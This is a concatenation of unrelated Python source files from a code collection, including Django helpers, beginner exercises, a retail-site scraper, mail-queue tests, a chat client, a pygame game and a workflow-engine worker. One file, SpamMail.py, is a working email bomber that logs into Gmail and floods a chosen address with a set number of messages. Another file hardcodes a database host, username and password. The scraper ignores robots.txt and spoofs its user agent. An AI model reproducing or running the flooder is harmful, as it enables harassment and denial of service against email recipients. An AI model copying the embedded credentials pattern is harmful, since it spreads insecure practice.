'tqdm',\n 'sqlalchemy',\n 'mysql-connector-python'\n ]\n\ninstall_requires = [\n 'pymysql',\n 'pandas',\n 'tqdm',\n 'sqlalchemy',\n 'mysql-connector-python'\n ]\n\nsetup(\n name='csv2sqllike',\n author='Junsang Park',\n author_email='publichey@gmail.com',\n url='https://github.com/hoosiki/csv2sqlLike',\n version='1.4.3',\n long_description=readme,\n long_description_content_type=\"text/markdown\",\n description='Python functions for data analysis using python native container. Load data from csv files and deal with data like sql.',\n packages=find_packages(),\n license='BSD',\n include_package_date=False,\n setup_requires=setup_requires,\n install_requires=install_requires,\n download_url='https://github.com/hoosiki/csv2sqlLike/blob/master/dist/csv2sqllike-1.4.3.tar.gz'\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"500324679","text":"import django_tables2 as tables\nfrom django_tables2.utils import A\nfrom models import RObject\nfrom bs4 import BeautifulSoup\n\n\nclass CustomCheckBoxColumn(tables.CheckBoxColumn):\n ''' Custom class that inherits from tables.CheckBoxColumn and customize render method. '''\n\n def render(self, value, bound_column, record):\n ''' Customized CheckBoxColumn.render() method: allow to modify checkbox inputs name attr in table's \n (ugly way but attrs kwarg in CheckBoxColumn not working in this case) '''\n\n from django.utils.safestring import mark_safe\n\n # get input html string\n input_html = super(CustomCheckBoxColumn, self).render(\n value, bound_column, record)\n\n # modify input name\n input_html = self.modify_input_name(input_html, record)\n\n return mark_safe(input_html)\n\n @staticmethod\n def modify_input_name(input_html, record):\n ''' Change name attr in input using beautiful soup and table record (row) data '''\n\n # get soup\n soup = BeautifulSoup(input_html, 'html.parser')\n # get tag\n tag = soup.input\n # change name\n tag[\"name\"] = \"{}\".format(record.id)\n return str(tag)\n\n\nclass RObjectTable(tables.Table):\n selection = CustomCheckBoxColumn(accessor='id', orderable=False, attrs={'td__input': {'class': 'select-robject', 'form': 'actions-form', 'value': 'check'},\n \"th__input\": {\"class\": \"select-all\"}})\n # display column with names of robjects (link to details)\n name = tables.LinkColumn('projects:robject_detail', args=[\n A('project.name'), A('pk')])\n # display column with links to update form\n edit = tables.LinkColumn('projects:robject_update', text='edit', args=[\n A('project.name'), A('pk')], orderable=False, verbose_name='')\n\n class Meta:\n model = RObject\n attrs = {\"class\": \"table table-hover\"}\n # exclude = [\"files\", \"tags\", \"author\", \"project\"]\n fields = [\"selection\", \"id\", \"name\",\n \"bio_obj\", \"creator\", \"create_date\"]\n order_by = ['-id']\n","sub_path":"biodb/projects/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"234637741","text":"#!/usr/bin/python3\n\nimport smtplib\nimport os as sistema\n\nsistema.system('cls' if sistema.name == 'nt' else 'clear')\n\ndef banner():\n ban = '''\n +---------------------------------------+\n ____ __ __ _ _\n/ ___| _ __ __ _ _ __ ___ | \\/ | __ _(_) |\n\\___ \\| '_ \\ / _` | '_ ` _ \\| |\\/| |/ _` | | |\n ___) | |_) | (_| | | | | | | | | | (_| | | |\n|____/| .__/ \\__,_|_| |_| |_|_| |_|\\__,_|_|_|\n |_|\n\n Editado por: Coringa/Hembad\n \n +---------------------------------------+ \n '''\n print(ban)\n\nbanner()\n\ntry:\n print('====' * 10)\n meu_email = input('[*]Seu Gmail: ')\n print('====' * 10)\n min_senha = input('[*]Sua senha: ')\n print('====' * 10)\n destinatario = input('[*]Email que deseja floodar: ')\n print('====' * 10)\n assunto = input('[*]Assunto: ')\n print('====' * 10)\n menssagem = input('[*]Menssagem: ')\n print('====' * 10)\n quantidade = int(input('[*]Quantidade de Emails: '))\n print('====' * 10)\n\n i = 0\n\n while (i < quantidade):\n i = i + 1\n\n msg_header = 'Content-type: text/html\\n' \\\n 'Subject: {}\\n'.format(assunto)\n msg_content = '

    {menssagem}

    \\n'.format(menssagem=menssagem)\n msg_full = (''.join([msg_header, msg_content])).encode()\n\n server = smtplib.SMTP('smtp.gmail.com:587')\n server.starttls()\n server.login(meu_email, min_senha)\n server.sendmail(meu_email,\n [destinatario, destinatario],\n msg_full)\n server.quit()\n\n print('[{}]Email enviado...'.format(i))\n\nexcept:\n erro = '''\n +------------------------------------------------------+\n | Algo deu errado! |\n | Certifique-se de que seu email/senha estão corretos! |\n | Permita aplicativos menos seguros em: |\n | https://myaccount.google.com/lesssecureapps?pli=1 |\n +------------------------------------------------------+\n '''\n print(erro)","sub_path":"SpamMail.py","file_name":"SpamMail.py","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"110194663","text":"# YÊU CẦU BÀI TẬP\n# Hỏi người chơi “Ban hay dien vao mot con so: “.\n# In ra màn hình tổng các số từ 1 đến số đó.\n# \n# Ví dụ 1:\n# \n# Ban hay dien vao mot con so: 4\n# 10\n# Ví dụ 2:\n# \n# Ban hay dien vao mot con so: 3\n# 6\n# Ví dụ 3:\n# \n# Ban hay dien vao mot con so: 6\n# 21\n# Sau khi điền code xong, bạn hãy nhấn nút Submit để máy tính tự động kiểm tra.\n# Nếu máy tính trả về CORRECT thì xin chúc mừng, bạn đã giành được trọn số điểm.\n# Nếu máy tính trả lại là INCORRECT thì bạn có thể ấn vào See full output để xem bài của mình khác với đáp án như thế nào để sửa lại.\n\nnumber = int(input(\"Ban hay dien vao mot con so: \"))\nsum=0\ncounter=0\nwhile counter max:\n max = product\n\n# horizontal\nfor i in range(0, row_no):\n for j in range(0, col_no - count + 1):\n product = 1\n for k in range(count):\n product *= data[i][j + k]\n if product > max:\n max = product\n\n# left up diagonal\nfor i in range(0, row_no - count + 1):\n for j in range(0, col_no - count + 1):\n product = 1\n for k in range(count):\n product *= data[i + k][j + k]\n if product > max:\n max = product\n\n# right up diagonal\nfor i in range(0, row_no - count + 1):\n for j in range(count - 1, col_no):\n product = 1\n for k in range(count):\n product *= data[i + k][j - k]\n if product > max:\n max = product\n\nprint(max)\n","sub_path":"p0001-0050/p0011/p0011.py","file_name":"p0011.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"3459397","text":"def get_db():\n\n #Insert the pymongo library so we can talk to mongoDB via our driver\n from pymongo import MongoClient\n\n #Connect to db and authenticate\n client = MongoClient('109.238.10.185', 27000)\n db = client['webretrieval']\n db.authenticate('webretrieval', 'tue')\n\n #Return a database instance\n return db\n\n","sub_path":"Component_1/authentication.py","file_name":"authentication.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"575441012","text":"__author__ = \"Kelly Chan\"\n__date__ = \"Sept 9 2014\"\n__version__ = \"1.0.0\"\n\n\nimport os\nimport sys\nreload(sys)\nsys.setdefaultencoding( \"utf-8\" )\n\nimport mechanize \nimport cookielib \n\nimport re\nimport time\nimport urllib\nimport urllib2\nfrom bs4 import BeautifulSoup\n\nimport pandas\n\ndef openBrowser():\n\n # Browser \n br = mechanize.Browser() \n # Cookie Jar \n cj = cookielib.LWPCookieJar() \n br.set_cookiejar(cj) \n\n # Browser options \n br.set_handle_equiv(True) \n #br.set_handle_gzip(True) \n br.set_handle_redirect(True) \n br.set_handle_referer(True) \n br.set_handle_robots(False) \n\n # Follows refresh 0 but not hangs on refresh > 0 \n br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) \n br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]\n\n return br\n\ndef getSoup(br, url):\n\n # Open url\n r = br.open(url) \n html = r.read() \n\n soup = BeautifulSoup(html)\n return soup\n\ndef loadURLs(dataFile):\n urls = []\n with open(dataFile, 'rb') as f:\n for line in f.readlines():\n urls.append(line.strip())\n return urls\n\n\ndef filterRE(results, pattern):\n return re.findall(re.compile(pattern), str(results))\n\ndef main():\n\n dataPath = \"G:/vimFiles/freelance/20140903-eCatalog/data/lowes/\"\n outPath = \"G:/vimFiles/freelance/20140903-eCatalog/src/outputs/\"\n fileName = \"error-no-products.csv\"\n\n br = openBrowser()\n\n products = []\n links = []\n deptLinks = []\n\n urls = loadURLs(dataPath+fileName)\n for url in urls:\n soup = getSoup(br, url)\n\n # products\n pattern = r\"Shop (.*) at Lowes.com\"\n results = filterRE(soup, pattern)\n for result in results:\n products.append(result)\n\n # links\n pattern = r'\"http://www.lowes.com(/pd_.*__\\?productId=\\d+)'\n results = filterRE(soup, pattern)\n for result in results:\n links.append(result)\n\n deptLinks.append(url)\n\n data = pandas.DataFrame({'product': products, 'prodURL': links, 'deptURL': deptLinks})\n data.to_csv(outPath+\"products-error-no-products.csv\", header=False)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"python/crawlers/crawler/catalogs/lowes/lowes_catalogs_products_recheck-no.py","file_name":"lowes_catalogs_products_recheck-no.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"49627852","text":"from django.core import mail\nfrom django.conf import settings as django_settings\nfrom django.test import TestCase\nfrom django_mailer import (constants, engine, settings, send_mail,\n send_html_mail)\nfrom django_mailer.engine import send_queued_message\nfrom django_mailer.tests.exceptions import DeferOnError\nfrom django_mailer.models import Blacklist, Log, QueuedMessage\nfrom django_mailer.lockfile import FileLock\n\nfrom StringIO import StringIO\nimport logging\nimport time\n\n\nclass LockTest(TestCase):\n \"\"\"\n Tests for Django Mailer trying to send mail when the lock is already in\n place.\n \"\"\"\n\n def setUp(self):\n # Create somewhere to store the log debug output. \n self.output = StringIO()\n # Create a log handler which can capture the log debug output.\n self.handler = logging.StreamHandler(self.output)\n self.handler.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(message)s')\n self.handler.setFormatter(formatter)\n # Add the log handler.\n logger = logging.getLogger('django_mailer')\n logger.addHandler(self.handler)\n \n # Set the LOCK_WAIT_TIMEOUT to the default value.\n self.original_timeout = settings.LOCK_WAIT_TIMEOUT\n settings.LOCK_WAIT_TIMEOUT = 0\n\n # Use a test lock-file name in case something goes wrong, then emulate\n # that the lock file has already been acquired by another process.\n self.original_lock_path = engine.LOCK_PATH\n engine.LOCK_PATH += '.mailer-test'\n self.lock = FileLock(engine.LOCK_PATH)\n self.lock.unique_name += '.mailer_test'\n self.lock.acquire(0)\n\n def tearDown(self):\n # Remove the log handler.\n logger = logging.getLogger('django_mailer')\n logger.removeHandler(self.handler)\n\n # Revert the LOCK_WAIT_TIMEOUT to it's original value.\n settings.LOCK_WAIT_TIMEOUT = self.original_timeout\n\n # Revert the lock file unique name\n engine.LOCK_PATH = self.original_lock_path\n self.lock.release()\n\n def test_locked(self):\n # Acquire the lock so that send_all will fail.\n engine.send_all()\n self.output.seek(0)\n self.assertEqual(self.output.readlines()[-1].strip(),\n 'Lock already in place. Exiting.')\n # Try with a timeout.\n settings.LOCK_WAIT_TIMEOUT = .1\n engine.send_all()\n self.output.seek(0)\n self.assertEqual(self.output.readlines()[-1].strip(),\n 'Waiting for the lock timed out. Exiting.')\n\n def test_locked_timeoutbug(self):\n # We want to emulate the lock acquiring taking no time, so the next\n # three calls to time.time() always return 0 (then set it back to the\n # real function).\n original_time = time.time\n global time_call_count\n time_call_count = 0\n def fake_time():\n global time_call_count\n time_call_count = time_call_count + 1\n if time_call_count >= 3:\n time.time = original_time\n return 0\n time.time = fake_time\n try:\n engine.send_all()\n self.output.seek(0)\n self.assertEqual(self.output.readlines()[-1].strip(),\n 'Lock already in place. Exiting.')\n finally:\n time.time = original_time\n\n\nclass EngineTest(TestCase):\n \n \n def setUp(self):\n self.old_backend = django_settings.EMAIL_BACKEND\n django_settings.EMAIL_BACKEND = \\\n 'django.core.mail.backends.locmem.EmailBackend'\n from django.core import mail\n self.mail = mail\n self.connection = self.mail.get_connection()\n \n def tearDown(self):\n super(EngineTest, self).tearDown()\n django_settings.EMAIL_BACKEND = self.old_backend\n \n def test_send_queued_message(self):\n \"\"\"\n Ensure that send_queued_message properly delivers email, regardless\n of whether connection is passed in.\n \"\"\"\n send_mail('Subject', 'Body', 'from@example.com', ['to1@example.com'])\n queued_message = QueuedMessage.objects.latest('id')\n send_queued_message(queued_message, self.connection)\n self.assertEqual(len(self.mail.outbox), 1)\n \n send_mail('Subject', 'Body', 'from@example.com', ['to1@example.com'])\n queued_message = QueuedMessage.objects.latest('id')\n send_queued_message(queued_message)\n self.assertEqual(len(self.mail.outbox), 2)\n \n send_html_mail('Subject', 'Body', '

    HTML

    ', 'from@example.com',\n ['to1@example.com'])\n queued_message = QueuedMessage.objects.latest('id')\n send_queued_message(queued_message, self.connection)\n self.assertEqual(len(self.mail.outbox), 3)\n \n send_html_mail('Subject', 'Body', '

    HTML

    ', 'from@example.com',\n ['to1@example.com'])\n queued_message = QueuedMessage.objects.latest('id')\n send_queued_message(queued_message)\n self.assertEqual(len(self.mail.outbox), 4)\n\n \n def test_blacklist(self):\n \"\"\"\n Test that blacklist works properly\n \"\"\"\n Blacklist.objects.create(email='foo@bar.com')\n send_mail('Subject', 'Body', 'from@example.com', ['foo@bar.com'])\n queued_message = QueuedMessage.objects.latest('id')\n send_queued_message(queued_message)\n self.assertEqual(len(self.mail.outbox), 0)\n \n # Explicitly passing in list of blacklisted addresses should also work\n send_mail('Subject', 'Body', 'from@example.com', ['bar@foo.com'])\n queued_message = QueuedMessage.objects.latest('id')\n send_queued_message(queued_message, blacklist=['bar@foo.com'])\n self.assertEqual(len(self.mail.outbox), 0)\n\n\n def test_sending_email_uses_opened_connection(self):\n \"\"\"\n Test that send_queued_message command uses the connection that gets\n passed in as an argument. Connection stored in self is an instance of \n locmem email backend. If we override the email backend with a dummy backend\n but passed in the previously opened connection from locmem backend, \n we should still get the proper result since send_queued_message uses\n the connection we passed in.\n \"\"\"\n django_settings.EMAIL_BACKEND = \\\n 'django.core.mail.backends.dummy.EmailBackend'\n # Outbox should be empty because send_queued_message uses dummy backend\n send_mail('Subject', 'Body', 'from@example.com', ['to1@example.com'])\n queued_message = QueuedMessage.objects.latest('id')\n engine.send_queued_message(queued_message)\n self.assertEqual(len(self.mail.outbox), 0)\n\n # Outbox should be populated because send_queued_message uses\n # the connection we passed in (locmem)\n send_mail('Subject', 'Body', 'from@example.com', ['to1@example.com'])\n queued_message = QueuedMessage.objects.latest('id')\n engine.send_queued_message(queued_message, self.connection)\n self.assertEqual(len(self.mail.outbox), 1)\n\n def test_log(self):\n \"\"\"\n All emails sent through django_mailer should be logged,\n even those having \"now\" priority\n \"\"\"\n send_mail('Subject', 'Body', 'from@example.com', ['to1@example.com'])\n queued_message = QueuedMessage.objects.latest('id')\n engine.send_queued_message(queued_message, self.connection)\n self.assertEqual(Log.objects.count(), 1)\n send_mail('Subject', 'Body', 'from@example.com', ['to1@example.com'],\n priority=constants.PRIORITIES['now'])\n self.assertEqual(Log.objects.count(), 2)\n\n\nclass ErrorHandlingTest(TestCase):\n\n def setUp(self):\n self.old_backend = django_settings.EMAIL_BACKEND\n django_settings.EMAIL_BACKEND = \\\n 'django_mailer.tests.base.RecipientErrorBackend'\n\n def tearDown(self):\n super(ErrorHandlingTest, self).tearDown()\n django_settings.EMAIL_BACKEND = self.old_backend \n\n def test_queue_not_deleted_on_error(self): \n \"\"\"\n Queued message instance shouldn't be deleted when error is raised\n during sending\n \"\"\"\n send_mail('Subject', 'Body', 'from@example.com', ['to1@example.com'])\n queued_message = QueuedMessage.objects.latest('id')\n engine.send_queued_message(queued_message)\n self.assertEqual(QueuedMessage.objects.count(), 1)\n\n \n def test_message_deferred(self): \n \"\"\"\n When error returned requires manual intervention to fix, \n emails should be deferred.\n \"\"\"\n send_mail('Subject', 'Body', 'from@example.com', ['to1@example.com'])\n queued_message = QueuedMessage.objects.latest('id')\n self.assertEqual(queued_message.deferred, None)\n engine.send_queued_message(queued_message)\n queued_message = QueuedMessage.objects.latest('id')\n self.assertNotEqual(queued_message.deferred, None)\n \n # If we see some other random errors email shouldn't be deferred\n django_settings.EMAIL_BACKEND = \\\n 'django_mailer.tests.base.OtherErrorBackend'\n send_mail('Subject', 'Body', 'from@example.com', ['to1@example.com'])\n queued_message = QueuedMessage.objects.latest('id')\n engine.send_queued_message(queued_message)\n self.assertEqual(queued_message.deferred, None)\n \n def test_defer_on_errors_setting(self):\n \"\"\"\n Defer queued mail on user defined exception.\n \"\"\"\n old_errors = settings.DEFER_ON_ERRORS\n settings.DEFER_ON_ERRORS = (DeferOnError,)\n \n # If we see some other random errors email shouldn't be deferred\n old_backend = django_settings.EMAIL_BACKEND\n django_settings.EMAIL_BACKEND = \\\n 'django_mailer.tests.base.DeferOnErrorBackend'\n send_mail('Subject', 'Body', 'from@example.com', ['to1@example.com'])\n queued_message = QueuedMessage.objects.latest('id')\n engine.send_queued_message(queued_message)\n queued_message = QueuedMessage.objects.latest('id')\n self.assertNotEqual(queued_message.deferred, None)\n settings.DEFER_ON_ERRORS = old_errors","sub_path":"django_mailer/tests/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":10330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"573444987","text":"import socket\nimport threading\nimport hashlib\nimport sys\nimport time\nHOST = input(\"IP?\")\nNAME = \"\"\nwhile (NAME == \"Server\" or NAME == \"\"): # Checks for invalid names\n NAME = input(\"Name?\")\nPORT = 65432 # Can be changed ( must be same on server)\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n print(\"Trying to connect to: \",HOST)\n s.connect((HOST,PORT)) # Stops programm if it fails\n print(\"Connected to: \", HOST)\n def send(message):\n message2 = bytes(message)\n s.sendall(message2)\n time.sleep(0.01)\n s.sendall(bytes(\"°\".encode(\"utf-8\"))) # Confirms that the message is over\n\n def receive():\n buffer = bytes(\"\".encode(\"utf-8\"))\n message = bytes(\"\".encode(\"utf-8\"))\n while (buffer != bytes(\"°\".encode(\"utf-8\"))):\n buffer = s.recv(4096) \n if ((buffer != bytes(\"°\".encode(\"utf-8\"))) and (buffer != bytes(\"\".encode(\"utf-8\")))):\n message += buffer\n return message.decode(\"utf-8\") \n\n def receiving():\n while True:\n text = receive()\n sender = receive()\n print(sender,\", sent: \",text)\n\n def sending():\n while True:\n message = input()\n if (message != \"\"):\n if (message == \"!close\"): # You can press Alt+F4 for same effect\n receiver.terminate() # Ends thread ( and so programm) with non-existent function\n send(message.encode(\"utf-8\"))\n\n send(NAME.encode(\"utf-8\"))\n receiver = threading.Thread(target=receiving)\n receiver.start()\n sender = threading.Thread(target=sending, daemon = True) # Receiver dies first without connection to server\n sender.start()\n receiver.join()\n","sub_path":"Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"538458387","text":"import pygame as pg\nfrom configuracion import *\nfrom sprites import *\nfrom os import path\n\n\nclass Juego:\n def __init__(self):\n pg.init()\n self.ventana = pg.display.set_mode((ANCHO, ALTO))\n pg.display.set_caption(TITULO)\n self.clock = pg.time.Clock()\n self.corriendo = True\n self.load_data()\n\n def load_data(self):\n self.dir = path.dirname(__file__)\n img_dir = path.join(self.dir, 'Imagenes/Spritesheets')\n\n self.spritesheet = Spritesheet(path.join(img_dir, SPRITESHEET))\n\n def nuevo(self):\n # inicia un nuevo juego\n self.puntaje = 0\n self.all_sprites = pg.sprite.Group()\n self.platafaformas = pg.sprite.Group()\n self.jugador = Jugador(self)\n self.all_sprites.add(self.jugador)\n\n # añadimos cada una de las plataformas\n for plat in LISTA_PLATAFORMAS:\n p = Plataforma(*plat) # el * sirve para descomponer cada elemento\n self.all_sprites.add(p)\n self.platafaformas.add(p)\n\n self.run()\n\n def run(self):\n # loop del juego\n self.jugando = True\n while self.jugando:\n self.clock.tick(FPS)\n self.eventos()\n self.actualizar()\n self.draw()\n\n def actualizar(self):\n self.all_sprites.update()\n if self.jugador.vel.y > 0:\n colision = pg.sprite.spritecollide(\n self.jugador, self.platafaformas, False)\n if colision:\n if self.jugador.pos.y < colision[0].rect.bottom:\n self.jugador.pos.y = colision[0].rect.top\n self.jugador.vel.y = 0\n self.jugador.rect.midbottom = self.jugador.pos # corrige los micro saltos\n\n def eventos(self):\n for event in pg.event.get():\n if event.type == pg.QUIT: # Se sale del juego\n if self.jugando:\n self.jugando = False\n self.corriendo = False\n\n if event.type == pg.KEYDOWN:\n if event.key == pg.K_SPACE:\n self.jugador.jump()\n\n def draw(self):\n self.ventana.fill(BLANCO)\n self.all_sprites.draw(self.ventana)\n pg.display.flip()\n\n def pantalla_inicio(self):\n pass\n\n def pantalla_fin(self):\n pass\n\n\njuego = Juego()\njuego.pantalla_inicio()\nwhile juego.corriendo:\n juego.nuevo()\n juego.pantalla_fin()\n\npg.quit()\n","sub_path":"Pygame_clase_2/clase_sprite/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"69664445","text":"import logging\nimport os\nimport signal\nimport threading\nimport time\nfrom collections import namedtuple\nfrom threading import Lock\n\nimport nacl.bindings\nimport nacl.utils\nimport zmq\nimport zmq.auth as auth\nfrom concurrent.futures import ThreadPoolExecutor\nfrom enum import Enum\nfrom google.protobuf.json_format import MessageToDict\nfrom google.protobuf.message import DecodeError\nfrom nacl.exceptions import CryptoError\nfrom nacl.public import PrivateKey, Box\nfrom zmq.error import ZMQError\n\nimport walkoff.cache\nimport walkoff.config\nfrom walkoff.appgateway.appinstancerepo import AppInstanceRepo\nfrom walkoff.case.database import CaseDatabase\nfrom walkoff.case.logger import CaseLogger\nfrom walkoff.case.subscription import Subscription, SubscriptionCache\nfrom walkoff.events import WalkoffEvent\nfrom walkoff.executiondb import ExecutionDatabase\nfrom walkoff.executiondb.argument import Argument\nfrom walkoff.executiondb.environment_variable import EnvironmentVariable\nfrom walkoff.executiondb.saved_workflow import SavedWorkflow\nfrom walkoff.executiondb.workflow import Workflow\nfrom walkoff.multiprocessedexecutor.proto_helpers import convert_to_protobuf\nfrom walkoff.proto.build.data_pb2 import CommunicationPacket, ExecuteWorkflowMessage, CaseControl, \\\n WorkflowControl\nfrom walkoff.executiondb.workflowresults import WorkflowStatus, WorkflowStatusEnum\n\nlogger = logging.getLogger(__name__)\n\n\nclass WorkflowResultsHandler(object):\n def __init__(self, socket_id, client_secret_key, client_public_key, server_public_key, zmq_results_address,\n execution_db, case_logger):\n \"\"\"Initialize a WorkflowResultsHandler object, which will be sending results of workflow execution\n\n Args:\n socket_id (str): The ID for the results socket\n client_secret_key (str): The secret key for the client\n client_public_key (str): The public key for the client\n server_public_key (str): The public key for the server\n zmq_results_address (str): The address for the ZMQ results socket\n execution_db (ExecutionDatabase): An ExecutionDatabase connection object\n case_logger (CaseLoger): A CaseLogger instance\n \"\"\"\n self.results_sock = zmq.Context().socket(zmq.PUSH)\n self.results_sock.identity = socket_id\n self.results_sock.curve_secretkey = client_secret_key\n self.results_sock.curve_publickey = client_public_key\n self.results_sock.curve_serverkey = server_public_key\n try:\n self.results_sock.connect(zmq_results_address)\n except ZMQError:\n logger.exception('Workflow Results handler could not connect to {}!'.format(zmq_results_address))\n raise\n\n self.execution_db = execution_db\n\n self.case_logger = case_logger\n\n def shutdown(self):\n \"\"\"Shuts down the results socket and tears down the ExecutionDatabase\n \"\"\"\n self.results_sock.close()\n self.execution_db.tear_down()\n\n def handle_event(self, workflow, sender, **kwargs):\n \"\"\"Listens for the data_sent callback, which signifies that an execution element needs to trigger a\n callback in the main thread.\n\n Args:\n workflow (Workflow): The Workflow object that triggered the event\n sender (ExecutionElement): The execution element that sent the signal.\n kwargs (dict): Any extra data to send.\n \"\"\"\n event = kwargs['event']\n if event in [WalkoffEvent.TriggerActionAwaitingData, WalkoffEvent.WorkflowPaused]:\n saved_workflow = SavedWorkflow.from_workflow(workflow)\n self.execution_db.session.add(saved_workflow)\n self.execution_db.session.commit()\n elif kwargs['event'] == WalkoffEvent.ConsoleLog:\n action = workflow.get_executing_action()\n sender = action\n\n packet_bytes = convert_to_protobuf(sender, workflow, **kwargs)\n if event.is_loggable():\n self.case_logger.log(event, sender.id, kwargs.get('data', None))\n self.results_sock.send(packet_bytes)\n\n\nclass WorkerCommunicationMessageType(Enum):\n workflow = 1\n case = 2\n exit = 3\n\n\nclass WorkflowCommunicationMessageType(Enum):\n pause = 1\n abort = 2\n\n\nclass CaseCommunicationMessageType(Enum):\n create = 1\n update = 2\n delete = 3\n\n\nWorkerCommunicationMessageData = namedtuple('WorkerCommunicationMessageData', ['type', 'data'])\n\nWorkflowCommunicationMessageData = namedtuple('WorkflowCommunicationMessageData', ['type', 'workflow_execution_id'])\n\nCaseCommunicationMessageData = namedtuple('CaseCommunicationMessageData', ['type', 'case_id', 'subscriptions'])\n\n\nclass WorkflowCommunicationReceiver(object):\n def __init__(self, socket_id, client_secret_key, client_public_key, server_public_key, zmq_communication_address):\n \"\"\"Initialize a WorkflowCommunicationReceiver object, which will receive messages on the comm socket\n\n Args:\n socket_id (str): The socket ID for the ZMQ communication socket\n client_secret_key (str): The secret key for the client\n client_public_key (str): The public key for the client\n server_public_key (str): The public key for the server\n zmq_communication_address (str): The IP address for the ZMQ communication socket\n \"\"\"\n self.comm_sock = zmq.Context().socket(zmq.SUB)\n self.comm_sock.identity = socket_id\n self.comm_sock.curve_secretkey = client_secret_key\n self.comm_sock.curve_publickey = client_public_key\n self.comm_sock.curve_serverkey = server_public_key\n self.comm_sock.setsockopt(zmq.SUBSCRIBE, b'')\n try:\n self.comm_sock.connect(zmq_communication_address)\n except ZMQError:\n logger.exception('Workflow Communication Receiver could not connect to {}!'.format(\n zmq_communication_address))\n raise\n self.exit = False\n\n def shutdown(self):\n \"\"\"Shuts down the object by setting self.exit to True and closing the communication socket\n \"\"\"\n logger.debug('Shutting down Workflow Communication Recevier')\n self.exit = True\n self.comm_sock.close()\n\n def receive_communications(self):\n \"\"\"Constantly receives data from the ZMQ socket and handles it accordingly\"\"\"\n logger.info('Starting workflow communication receiver')\n while not self.exit:\n try:\n message_bytes = self.comm_sock.recv()\n except zmq.ZMQError:\n continue\n\n message = CommunicationPacket()\n try:\n message.ParseFromString(message_bytes)\n except DecodeError:\n logger.error('Worker communication handler could not decode communication packet')\n else:\n message_type = message.type\n if message_type == CommunicationPacket.WORKFLOW:\n logger.debug('Worker received workflow communication packet')\n yield WorkerCommunicationMessageData(\n WorkerCommunicationMessageType.workflow,\n self._format_workflow_message_data(message.workflow_control_message))\n elif message_type == CommunicationPacket.CASE:\n logger.debug('Workflow received case communication packet')\n yield WorkerCommunicationMessageData(\n WorkerCommunicationMessageType.case,\n self._format_case_message_data(message.case_control_message))\n elif message_type == CommunicationPacket.EXIT:\n logger.info('Worker received exit message')\n break\n raise StopIteration\n\n @staticmethod\n def _format_workflow_message_data(message):\n workflow_execution_id = message.workflow_execution_id\n if message.type == WorkflowControl.PAUSE:\n return WorkflowCommunicationMessageData(WorkflowCommunicationMessageType.pause, workflow_execution_id)\n elif message.type == WorkflowControl.ABORT:\n return WorkflowCommunicationMessageData(WorkflowCommunicationMessageType.abort, workflow_execution_id)\n\n @staticmethod\n def _format_case_message_data(message):\n if message.type == CaseControl.CREATE:\n return CaseCommunicationMessageData(\n CaseCommunicationMessageType.create,\n message.id,\n [Subscription(sub.id, sub.events) for sub in message.subscriptions])\n elif message.type == CaseControl.UPDATE:\n return CaseCommunicationMessageData(\n CaseCommunicationMessageType.update,\n message.id,\n [Subscription(sub.id, sub.events) for sub in message.subscriptions])\n elif message.type == CaseControl.DELETE:\n return CaseCommunicationMessageData(CaseCommunicationMessageType.delete, message.id, None)\n\n\nclass WorkflowReceiver(object):\n def __init__(self, key, server_key, cache_config):\n \"\"\"Initializes a WorkflowReceiver object, which receives workflow execution requests and ships them off to a\n worker to execute\n\n Args:\n key (PrivateKey): The NaCl PrivateKey generated by the Worker\n server_key (PrivateKey): The NaCl PrivateKey generated by the Worker\n cache_config (dict): Cache configuration\n \"\"\"\n self.key = key\n self.server_key = server_key\n self.cache = walkoff.cache.make_cache(cache_config)\n self.exit = False\n\n def shutdown(self):\n \"\"\"Shuts down the object by setting self.exit to True and shutting down the cache\n \"\"\"\n logger.debug('Shutting down Workflow Receiver')\n self.exit = True\n self.cache.shutdown()\n\n def receive_workflows(self):\n \"\"\"Receives requests to execute workflows, and sends them off to worker threads\"\"\"\n logger.info('Starting workflow receiver')\n box = Box(self.key, self.server_key)\n while not self.exit:\n received_message = self.cache.rpop(\"request_queue\")\n if received_message is not None:\n try:\n decrypted_msg = box.decrypt(received_message)\n except CryptoError:\n logger.error('Worker could not decrypt received workflow message')\n continue\n try:\n message = ExecuteWorkflowMessage()\n message.ParseFromString(decrypted_msg)\n except DecodeError:\n logger.error('Workflow could not decode received workflow message')\n else:\n start = message.start if hasattr(message, 'start') else None\n\n start_arguments = []\n if hasattr(message, 'arguments'):\n for arg in message.arguments:\n start_arguments.append(\n Argument(**(MessageToDict(arg, preserving_proto_field_name=True))))\n\n env_vars = []\n if hasattr(message, 'environment_variables'):\n for env_var in message.environment_variables:\n env_vars.append(\n EnvironmentVariable(**(MessageToDict(env_var, preserving_proto_field_name=True))))\n\n yield message.workflow_id, message.workflow_execution_id, start, \\\n start_arguments, message.resume, env_vars\n else:\n yield None\n raise StopIteration\n\n\nclass Worker(object):\n def __init__(self, id_, config_path):\n 